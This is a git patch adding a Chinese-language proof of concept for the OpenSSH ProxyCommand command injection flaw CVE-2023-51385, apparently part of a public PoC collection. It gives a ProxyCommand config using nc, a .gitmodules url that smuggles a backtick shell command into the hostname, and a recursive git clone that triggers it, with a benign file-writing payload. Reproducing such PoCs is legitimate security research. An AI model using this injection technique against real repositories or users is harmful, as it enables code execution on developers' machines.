From 1202d1e640169f16ca345ec80b106e2b5d682a8f Mon Sep 17 00:00:00 2001 From: wy876 <139549762+wy876@users.noreply.github.com> Date: Tue, 26 Dec 2023 20:01:48 +0800 Subject: [PATCH] =?UTF-8?q?Create=20OpenSSH=20ProxyCommand=E5=91=BD?= =?UTF-8?q?=E4=BB=A4=E6=B3=A8=E5=85=A5=E6=BC=8F=E6=B4=9E=20(CVE-2023-51385?= =?UTF-8?q?).md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...oxyCommand命令注入漏洞 (CVE-2023-51385).md | 23 +++++++++++++++++++ 1 file changed, 23 insertions(+) create mode 100644 OpenSSH ProxyCommand命令注入漏洞 (CVE-2023-51385).md diff --git a/OpenSSH ProxyCommand命令注入漏洞 (CVE-2023-51385).md b/OpenSSH ProxyCommand命令注入漏洞 (CVE-2023-51385).md new file mode 100644 index 0000000..6367b27 --- /dev/null +++ b/OpenSSH ProxyCommand命令注入漏洞 (CVE-2023-51385).md @@ -0,0 +1,23 @@ +## OpenSSH ProxyCommand命令注入漏洞 (CVE-2023-51385) +SSHProxyCommand是一个用于代理SSH连接的广泛使用的功能,允许用户指定用于连接到服务器的自定义命令。该功能的参数中可能包含像%h(主机名)和%u(用户名)这样的标记。然而,当主机名来自不受信任的来源时,存在潜在的安全风险,因为可能构造恶意主机名,看起来像“恶意命令”,并通过反引号执行Shell命令。 + +首先需要在~/.ssh/config增加如下 +``` +host *.example.com + ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p +``` +.gitmodules文件语句中存在命令注入 +``` +url = ssh://`echo helloworld > cve.txt`foo.example.com/bar +``` +配置完成后,执行下面的指令触发 +``` +git clone https://github.com/wy876/CVE-2023-51385_test --recurse-submodules +``` +如果成功执行将会在CVE-2023-51385_test目录下生成cve.txt文件 + +![image](https://github.com/wy876/POC/assets/139549762/ab5f8d1a-2cd0-48af-8828-28447f809ad5) + + +## 漏洞来源 +- https://vin01.github.io/piptagole/ssh/security/openssh/libssh/remote-code-execution/2023/12/20/openssh-proxycommand-libssh-rce.html